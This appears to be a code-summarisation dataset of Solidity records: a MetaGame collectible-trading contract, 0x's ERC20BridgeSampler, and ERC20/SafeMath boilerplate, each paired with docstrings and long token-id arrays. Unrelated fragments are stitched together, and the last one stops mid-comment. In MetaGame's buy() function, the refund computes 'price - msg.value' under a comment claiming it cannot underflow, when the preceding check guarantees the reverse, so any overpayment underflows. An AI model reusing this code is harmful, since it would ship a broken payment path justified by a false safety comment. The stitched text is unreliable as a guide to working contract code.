totalDividendsPaid = totalDividendsPaid.add(dividendsPaid);
} else {
// Not strictly necessary to set this to 0 explicitly... but makes
// it clearer to see what happens.
totalDividendsPaid = 0;
}
}
/// @dev Calculate the contract fee.
/// @param price The price of the buyout.
/// @param dividendsPaid The total amount paid in dividends.
function calculateFee(uint256 price, uint256 dividendsPaid) public view returns(uint256 fee) {
// Calculate the absolute minimum fee.
fee = price.mul(minimumFee).div(100000);
// Calculate the minimum fee plus dividends payable.
// See also the explanation at the definition of
// minimumFeePlusDividends.
uint256 _minimumFeePlusDividends = price.mul(minimumFeePlusDividends).div(100000);
if (_minimumFeePlusDividends > dividendsPaid) {
uint256 feeMinusDividends = _minimumFeePlusDividends.sub(dividendsPaid);
// The minimum total paid in 'fees plus dividends', minus dividends, is
// greater than the minimum fee. Set the fee to this value.
if (feeMinusDividends > fee) {
fee = feeMinusDividends;
}
}
}
/// @dev Send funds to a beneficiary. If sending fails, assign
/// funds to the beneficiary's balance for manual withdrawal.
/// @param beneficiary The beneficiary's address to send funds to
/// @param amount The amount to send.
function _sendFunds(address beneficiary, uint256 amount) internal {
if (amount < directPaymentThreshold) {
// Amount is under send threshold. Send funds asynchronously
// for manual withdrawal by the beneficiary.
asyncSend(beneficiary, amount);
} else if (!beneficiary.send(amount)) {
// Failed to send funds. This can happen due to a failure in
// fallback code of the beneficiary, or because of callstack
// depth.
// Send funds asynchronously for manual withdrawal by the
// beneficiary.
asyncSend(beneficiary, amount);
}
}
/// @notice Withdraw (unowed) contract balance.
function withdrawFreeBalance() external onlyCFO {
// Calculate the free (unowed) balance. This never underflows, as
// totalPayments is guaranteed to be less than or equal to the
// contract balance.
uint256 freeBalance = this.balance - totalPayments;
cfoAddress.transfer(freeBalance);
}
}
/// @dev Defines core meta game functionality.
contract MetaGameCore is MetaGameFinance {
function MetaGameCore() public {
// Start the contract paused.
paused = true;
}
/// @notice Create a collectible.
/// @param identifier The identifier of the collectible that is to be created.
/// @param owner The address of the initial owner. Blank if this contract should
/// be the initial owner.
/// @param parentIdentifier The identifier of the parent of the collectible, which
/// receives dividends when this collectible trades.
/// @param price The initial price of the collectible.
function createCollectible(uint256 identifier, address owner, uint256 parentIdentifier, uint256 price) external onlyCFO {
// The identifier must be valid. Identifier 0 is reserved
// to mark a collectible as having no parent.
require(identifier >= 1);
// The identifier must not exist yet.
require(identifierToOwner[identifier] == 0x0);
// Add the identifier to the list of existing identifiers.
identifiers.push(identifier);
address initialOwner = owner;
if (initialOwner == 0x0) {
// Set the initial owner to be the contract itself.
initialOwner = address(this);
}
// Transfer the collectible to the initial owner.
_transfer(0x0, initialOwner, identifier);
// Set the parent identifier.
identifierToParentIdentifier[identifier] = parentIdentifier;
// Set the initial price.
identifierToPrice[identifier] = price;
// Emit price event.
Price(identifier, price, nextPrice(price));
}
/// @notice Set the parent collectible of a collectible.
function setParent(uint256 identifier, uint256 parentIdentifier) external onlyCFO {
// The deed must exist.
require(identifierToOwner[identifier] != 0x0);
identifierToParentIdentifier[identifier] = parentIdentifier;
}
/// @notice Buy a collectible.
function buy(uint256 identifier) external payable whenNotPaused {
// The collectible must exist.
require(identifierToOwner[identifier] != 0x0);
address oldOwner = identifierToOwner[identifier];
uint256 price = identifierToPrice[identifier];
// The old owner must not be the same as the buyer.
require(oldOwner != msg.sender);
// Enough ether must be provided.
require(msg.value >= price);
// Set the new price.
uint256 newPrice = nextPrice(price);
identifierToPrice[identifier] = newPrice;
// Transfer the collectible.
_transfer(oldOwner, msg.sender, identifier);
// Emit price change event.
Price(identifier, newPrice, nextPrice(newPrice));
// Pay dividends.
uint256 dividend = price.mul(dividendPercentage).div(100000);
uint256 dividendsPaid = _payDividends(identifier, identifier, dividend, 0);
// Calculate the contract fee.
uint256 fee = calculateFee(price, dividendsPaid);
// Calculate the winnings for the previous owner.
uint256 oldOwnerWinnings = price.sub(dividendsPaid).sub(fee);
// Emit buy event.
Buy(oldOwner, msg.sender, identifier, price, oldOwnerWinnings);
if (oldOwner != address(this)) {
// The old owner is not this contract itself.
// Pay the old owner.
_sendFunds(oldOwner, oldOwnerWinnings);
}
// Calculate overspent ether. This cannot underflow, as the require
// guarantees price to be greater than or equal to msg.value.
uint256 excess = price - msg.value;
if (excess > 0) {
// Refund overspent Ether.
msg.sender.transfer(excess);
}
}
/// @notice Return a collectible's details.
/// @param identifier The identifier of the collectible to get details for.
function getDeed(uint256 identifier)
external
view
returns(uint256 deedId, address owner, uint256 buyPrice, uint256 nextBuyPrice)
{
deedId = identifier;
owner = identifierToOwner[identifier];
buyPrice = identifierToPrice[identifier];
nextBuyPrice = nextPrice(buyPrice);
}
}
| @notice Name of the collection of deeds (non-fungible token), as defined in ERC721Metadata. | function name() public pure returns (string _deedName) {
_deedName = "MetaGame";
}
| 13,014,312 | [
1,
461,
434,
326,
1849,
434,
443,
9765,
261,
5836,
17,
12125,
75,
1523,
1147,
3631,
487,
2553,
316,
4232,
39,
27,
5340,
2277,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
508,
1435,
1071,
16618,
1135,
261,
1080,
389,
323,
329,
461,
13,
288,
203,
3639,
389,
323,
329,
461,
273,
315,
2781,
12496,
14432,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.9;
pragma experimental ABIEncoderV2;
import "@0x/contracts-asset-proxy/contracts/src/interfaces/IUniswapExchangeFactory.sol";
import "@0x/contracts-erc20/contracts/src/LibERC20Token.sol";
import "@0x/contracts-exchange/contracts/src/interfaces/IExchange.sol";
import "@0x/contracts-exchange-libs/contracts/src/LibOrder.sol";
import "./IERC20BridgeSampler.sol";
import "./IEth2Dai.sol";
import "./IKyberNetwork.sol";
import "./IUniswapExchangeQuotes.sol";
import "./DeploymentConstants.sol";
contract ERC20BridgeSampler is
IERC20BridgeSampler,
DeploymentConstants
{
bytes4 constant internal ERC20_PROXY_ID = 0xf47261b0; // bytes4(keccak256("ERC20Token(address)"));
/// @dev Query native orders and sample sell quotes on multiple DEXes at once.
/// @param orders Native orders to query.
/// @param sources Address of each DEX. Passing in an unsupported DEX will throw.
/// @param takerTokenAmounts Taker token sell amount for each sample.
/// @return orderInfos `OrderInfo`s for each order in `orders`.
/// @return makerTokenAmountsBySource Maker amounts bought for each source at
/// each taker token amount. First indexed by source index, then sample
/// index.
function queryOrdersAndSampleSells(
LibOrder.Order[] memory orders,
address[] memory sources,
uint256[] memory takerTokenAmounts
)
public
view
returns (
LibOrder.OrderInfo[] memory orderInfos,
uint256[][] memory makerTokenAmountsBySource
)
{
require(orders.length != 0, "EMPTY_ORDERS");
orderInfos = queryOrders(orders);
makerTokenAmountsBySource = sampleSells(
sources,
_assetDataToTokenAddress(orders[0].takerAssetData),
_assetDataToTokenAddress(orders[0].makerAssetData),
takerTokenAmounts
);
}
/// @dev Query native orders and sample buy quotes on multiple DEXes at once.
/// @param orders Native orders to query.
/// @param sources Address of each DEX. Passing in an unsupported DEX will throw.
/// @param makerTokenAmounts Maker token buy amount for each sample.
/// @return orderInfos `OrderInfo`s for each order in `orders`.
/// @return takerTokenAmountsBySource Taker amounts sold for each source at
/// each maker token amount. First indexed by source index, then sample
/// index.
function queryOrdersAndSampleBuys(
LibOrder.Order[] memory orders,
address[] memory sources,
uint256[] memory makerTokenAmounts
)
public
view
returns (
LibOrder.OrderInfo[] memory orderInfos,
uint256[][] memory makerTokenAmountsBySource
)
{
require(orders.length != 0, "EMPTY_ORDERS");
orderInfos = queryOrders(orders);
makerTokenAmountsBySource = sampleBuys(
sources,
_assetDataToTokenAddress(orders[0].takerAssetData),
_assetDataToTokenAddress(orders[0].makerAssetData),
makerTokenAmounts
);
}
/// @dev Queries the status of several native orders.
/// @param orders Native orders to query.
/// @return orderInfos Order info for each respective order.
function queryOrders(LibOrder.Order[] memory orders)
public
view
returns (LibOrder.OrderInfo[] memory orderInfos)
{
uint256 numOrders = orders.length;
orderInfos = new LibOrder.OrderInfo[](numOrders);
for (uint256 i = 0; i < numOrders; i++) {
orderInfos[i] = _getExchangeContract().getOrderInfo(orders[i]);
}
}
/// @dev Sample sell quotes on multiple DEXes at once.
/// @param sources Address of each DEX. Passing in an unsupported DEX will throw.
/// @param takerToken Address of the taker token (what to sell).
/// @param makerToken Address of the maker token (what to buy).
/// @param takerTokenAmounts Taker token sell amount for each sample.
/// @return makerTokenAmountsBySource Maker amounts bought for each source at
/// each taker token amount. First indexed by source index, then sample
/// index.
function sampleSells(
address[] memory sources,
address takerToken,
address makerToken,
uint256[] memory takerTokenAmounts
)
public
view
returns (uint256[][] memory makerTokenAmountsBySource)
{
uint256 numSources = sources.length;
makerTokenAmountsBySource = new uint256[][](numSources);
for (uint256 i = 0; i < numSources; i++) {
makerTokenAmountsBySource[i] = _sampleSellSource(
sources[i],
takerToken,
makerToken,
takerTokenAmounts
);
}
}
/// @dev Query native orders and sample buy quotes on multiple DEXes at once.
/// @param sources Address of each DEX. Passing in an unsupported DEX will throw.
/// @param takerToken Address of the taker token (what to sell).
/// @param makerToken Address of the maker token (what to buy).
/// @param makerTokenAmounts Maker token buy amount for each sample.
/// @return takerTokenAmountsBySource Taker amounts sold for each source at
/// each maker token amount. First indexed by source index, then sample
/// index.
function sampleBuys(
address[] memory sources,
address takerToken,
address makerToken,
uint256[] memory makerTokenAmounts
)
public
view
returns (uint256[][] memory takerTokenAmountsBySource)
{
uint256 numSources = sources.length;
takerTokenAmountsBySource = new uint256[][](numSources);
for (uint256 i = 0; i < numSources; i++) {
takerTokenAmountsBySource[i] = _sampleBuySource(
sources[i],
takerToken,
makerToken,
makerTokenAmounts
);
}
}
/// @dev Sample sell quotes from Kyber.
/// @param takerToken Address of the taker token (what to sell).
/// @param makerToken Address of the maker token (what to buy).
/// @param takerTokenAmounts Taker token sell amount for each sample.
/// @return makerTokenAmounts Maker amounts bought at each taker token
/// amount.
function sampleSellsFromKyberNetwork(
address takerToken,
address makerToken,
uint256[] memory takerTokenAmounts
)
public
view
returns (uint256[] memory makerTokenAmounts)
{
_assertValidPair(makerToken, takerToken);
address _takerToken = takerToken == _getWETHAddress() ? KYBER_ETH_ADDRESS : takerToken;
address _makerToken = makerToken == _getWETHAddress() ? KYBER_ETH_ADDRESS : makerToken;
uint256 takerTokenDecimals = _getTokenDecimals(takerToken);
uint256 makerTokenDecimals = _getTokenDecimals(makerToken);
uint256 numSamples = takerTokenAmounts.length;
makerTokenAmounts = new uint256[](numSamples);
for (uint256 i = 0; i < numSamples; i++) {
(uint256 rate,) = _getKyberNetworkContract().getExpectedRate(
_takerToken,
_makerToken,
takerTokenAmounts[i]
);
makerTokenAmounts[i] =
rate *
takerTokenAmounts[i] *
10 ** makerTokenDecimals /
10 ** takerTokenDecimals /
10 ** 18;
}
}
/// @dev Sample sell quotes from Eth2Dai/Oasis.
/// @param takerToken Address of the taker token (what to sell).
/// @param makerToken Address of the maker token (what to buy).
/// @param takerTokenAmounts Taker token sell amount for each sample.
/// @return makerTokenAmounts Maker amounts bought at each taker token
/// amount.
function sampleSellsFromEth2Dai(
address takerToken,
address makerToken,
uint256[] memory takerTokenAmounts
)
public
view
returns (uint256[] memory makerTokenAmounts)
{
_assertValidPair(makerToken, takerToken);
uint256 numSamples = takerTokenAmounts.length;
makerTokenAmounts = new uint256[](numSamples);
for (uint256 i = 0; i < numSamples; i++) {
makerTokenAmounts[i] = _getEth2DaiContract().getBuyAmount(
makerToken,
takerToken,
takerTokenAmounts[i]
);
}
}
/// @dev Sample buy quotes from Eth2Dai/Oasis.
/// @param takerToken Address of the taker token (what to sell).
/// @param makerToken Address of the maker token (what to buy).
/// @param takerTokenAmounts Maker token sell amount for each sample.
/// @return takerTokenAmounts Taker amounts sold at each maker token
/// amount.
function sampleBuysFromEth2Dai(
address takerToken,
address makerToken,
uint256[] memory makerTokenAmounts
)
public
view
returns (uint256[] memory takerTokenAmounts)
{
_assertValidPair(makerToken, takerToken);
uint256 numSamples = makerTokenAmounts.length;
takerTokenAmounts = new uint256[](numSamples);
for (uint256 i = 0; i < numSamples; i++) {
takerTokenAmounts[i] = _getEth2DaiContract().getPayAmount(
takerToken,
makerToken,
makerTokenAmounts[i]
);
}
}
/// @dev Sample sell quotes from Uniswap.
/// @param takerToken Address of the taker token (what to sell).
/// @param makerToken Address of the maker token (what to buy).
/// @param takerTokenAmounts Taker token sell amount for each sample.
/// @return makerTokenAmounts Maker amounts bought at each taker token
/// amount.
function sampleSellsFromUniswap(
address takerToken,
address makerToken,
uint256[] memory takerTokenAmounts
)
public
view
returns (uint256[] memory makerTokenAmounts)
{
_assertValidPair(makerToken, takerToken);
uint256 numSamples = takerTokenAmounts.length;
makerTokenAmounts = new uint256[](numSamples);
IUniswapExchangeQuotes takerTokenExchange = takerToken == _getWETHAddress() ?
IUniswapExchangeQuotes(0) : _getUniswapExchange(takerToken);
IUniswapExchangeQuotes makerTokenExchange = makerToken == _getWETHAddress() ?
IUniswapExchangeQuotes(0) : _getUniswapExchange(makerToken);
for (uint256 i = 0; i < numSamples; i++) {
if (makerToken == _getWETHAddress()) {
makerTokenAmounts[i] = takerTokenExchange.getTokenToEthInputPrice(
takerTokenAmounts[i]
);
} else if (takerToken == _getWETHAddress()) {
makerTokenAmounts[i] = makerTokenExchange.getEthToTokenInputPrice(
takerTokenAmounts[i]
);
} else {
uint256 ethBought = takerTokenExchange.getTokenToEthInputPrice(
takerTokenAmounts[i]
);
makerTokenAmounts[i] = makerTokenExchange.getEthToTokenInputPrice(
ethBought
);
}
}
}
/// @dev Sample buy quotes from Uniswap.
/// @param takerToken Address of the taker token (what to sell).
/// @param makerToken Address of the maker token (what to buy).
/// @param makerTokenAmounts Maker token sell amount for each sample.
/// @return takerTokenAmounts Taker amounts sold at each maker token
/// amount.
function sampleBuysFromUniswap(
address takerToken,
address makerToken,
uint256[] memory makerTokenAmounts
)
public
view
returns (uint256[] memory takerTokenAmounts)
{
_assertValidPair(makerToken, takerToken);
uint256 numSamples = makerTokenAmounts.length;
takerTokenAmounts = new uint256[](numSamples);
IUniswapExchangeQuotes takerTokenExchange = takerToken == _getWETHAddress() ?
IUniswapExchangeQuotes(0) : _getUniswapExchange(takerToken);
IUniswapExchangeQuotes makerTokenExchange = makerToken == _getWETHAddress() ?
IUniswapExchangeQuotes(0) : _getUniswapExchange(makerToken);
for (uint256 i = 0; i < numSamples; i++) {
if (makerToken == _getWETHAddress()) {
takerTokenAmounts[i] = takerTokenExchange.getTokenToEthOutputPrice(
makerTokenAmounts[i]
);
} else if (takerToken == _getWETHAddress()) {
takerTokenAmounts[i] = makerTokenExchange.getEthToTokenOutputPrice(
makerTokenAmounts[i]
);
} else {
uint256 ethSold = makerTokenExchange.getEthToTokenOutputPrice(
makerTokenAmounts[i]
);
takerTokenAmounts[i] = takerTokenExchange.getTokenToEthOutputPrice(
ethSold
);
}
}
}
/// @dev Overridable way to get token decimals.
/// @param tokenAddress Address of the token.
/// @return decimals The decimal places for the token.
function _getTokenDecimals(address tokenAddress)
internal
view
returns (uint8 decimals)
{
return LibERC20Token.decimals(tokenAddress);
}
/// @dev Samples a supported sell source, defined by its address.
/// @param takerToken Address of the taker token (what to sell).
/// @param makerToken Address of the maker token (what to buy).
/// @param takerTokenAmounts Taker token sell amount for each sample.
/// @return makerTokenAmounts Maker amounts bought at each taker token
/// amount.
function _sampleSellSource(
address source,
address takerToken,
address makerToken,
uint256[] memory takerTokenAmounts
)
private
view
returns (uint256[] memory makerTokenAmounts)
{
if (source == address(_getEth2DaiContract())) {
return sampleSellsFromEth2Dai(takerToken, makerToken, takerTokenAmounts);
}
if (source == address(_getUniswapExchangeFactoryContract())) {
return sampleSellsFromUniswap(takerToken, makerToken, takerTokenAmounts);
}
if (source == address(_getKyberNetworkContract())) {
return sampleSellsFromKyberNetwork(takerToken, makerToken, takerTokenAmounts);
}
revert("UNSUPPORTED_SOURCE");
}
/// @dev Samples a supported buy source, defined by its address.
/// @param takerToken Address of the taker token (what to sell).
/// @param makerToken Address of the maker token (what to buy).
/// @param makerTokenAmounts Maker token sell amount for each sample.
/// @return takerTokenAmounts Taker amounts sold at each maker token
/// amount.
function _sampleBuySource(
address source,
address takerToken,
address makerToken,
uint256[] memory makerTokenAmounts
)
private
view
returns (uint256[] memory takerTokenAmounts)
{
if (source == address(_getEth2DaiContract())) {
return sampleBuysFromEth2Dai(takerToken, makerToken, makerTokenAmounts);
}
if (source == address(_getUniswapExchangeFactoryContract())) {
return sampleBuysFromUniswap(takerToken, makerToken, makerTokenAmounts);
}
revert("UNSUPPORTED_SOURCE");
}
/// @dev Retrive an existing Uniswap exchange contract.
/// Throws if the exchange does not exist.
/// @param tokenAddress Address of the token contract.
/// @return exchange `IUniswapExchangeQuotes` for the token.
function _getUniswapExchange(address tokenAddress)
private
view
returns (IUniswapExchangeQuotes exchange)
{
exchange = IUniswapExchangeQuotes(
address(_getUniswapExchangeFactoryContract().getExchange(tokenAddress))
);
require(address(exchange) != address(0), "UNSUPPORTED_UNISWAP_EXCHANGE");
}
/// @dev Extract the token address from ERC20 proxy asset data.
/// @param assetData ERC20 asset data.
/// @return tokenAddress The decoded token address.
function _assetDataToTokenAddress(bytes memory assetData)
private
pure
returns (address tokenAddress)
{
require(assetData.length == 36, "INVALID_ASSET_DATA");
bytes4 selector;
assembly {
selector := and(mload(add(assetData, 0x20)), 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000)
tokenAddress := mload(add(assetData, 0x24))
}
require(selector == ERC20_PROXY_ID, "UNSUPPORTED_ASSET_PROXY");
}
function _assertValidPair(address makerToken, address takerToken)
private
pure
{
require(makerToken != takerToken, "INVALID_TOKEN_PAIR");
}
}
| @dev Sample buy quotes from Eth2Dai/Oasis. @param takerToken Address of the taker token (what to sell). @param makerToken Address of the maker token (what to buy). @param takerTokenAmounts Maker token sell amount for each sample. @return takerTokenAmounts Taker amounts sold at each maker token amount. | function sampleBuysFromEth2Dai(
address takerToken,
address makerToken,
uint256[] memory makerTokenAmounts
)
public
view
returns (uint256[] memory takerTokenAmounts)
{
_assertValidPair(makerToken, takerToken);
uint256 numSamples = makerTokenAmounts.length;
takerTokenAmounts = new uint256[](numSamples);
for (uint256 i = 0; i < numSamples; i++) {
takerTokenAmounts[i] = _getEth2DaiContract().getPayAmount(
takerToken,
makerToken,
makerTokenAmounts[i]
);
}
}
| 5,377,162 | [
1,
8504,
30143,
10681,
628,
512,
451,
22,
40,
10658,
19,
51,
17247,
18,
225,
268,
6388,
1345,
5267,
434,
326,
268,
6388,
1147,
261,
23770,
358,
357,
80,
2934,
225,
312,
6388,
1345,
5267,
434,
326,
312,
6388,
1147,
261,
23770,
358,
30143,
2934,
225,
268,
6388,
1345,
6275,
87,
490,
6388,
1147,
357,
80,
3844,
364,
1517,
3296,
18,
327,
268,
6388,
1345,
6275,
87,
399,
6388,
30980,
272,
1673,
622,
1517,
312,
6388,
1147,
540,
3844,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3296,
38,
89,
1900,
1265,
41,
451,
22,
40,
10658,
12,
203,
3639,
1758,
268,
6388,
1345,
16,
203,
3639,
1758,
312,
6388,
1345,
16,
203,
3639,
2254,
5034,
8526,
3778,
312,
6388,
1345,
6275,
87,
203,
565,
262,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
8526,
3778,
268,
6388,
1345,
6275,
87,
13,
203,
565,
288,
203,
3639,
389,
11231,
1556,
4154,
12,
29261,
1345,
16,
268,
6388,
1345,
1769,
203,
3639,
2254,
5034,
818,
13239,
273,
312,
6388,
1345,
6275,
87,
18,
2469,
31,
203,
3639,
268,
6388,
1345,
6275,
87,
273,
394,
2254,
5034,
8526,
12,
2107,
13239,
1769,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
818,
13239,
31,
277,
27245,
288,
203,
5411,
268,
6388,
1345,
6275,
87,
63,
77,
65,
273,
389,
588,
41,
451,
22,
40,
10658,
8924,
7675,
588,
9148,
6275,
12,
203,
7734,
268,
6388,
1345,
16,
203,
7734,
312,
6388,
1345,
16,
203,
7734,
312,
6388,
1345,
6275,
87,
63,
77,
65,
203,
5411,
11272,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
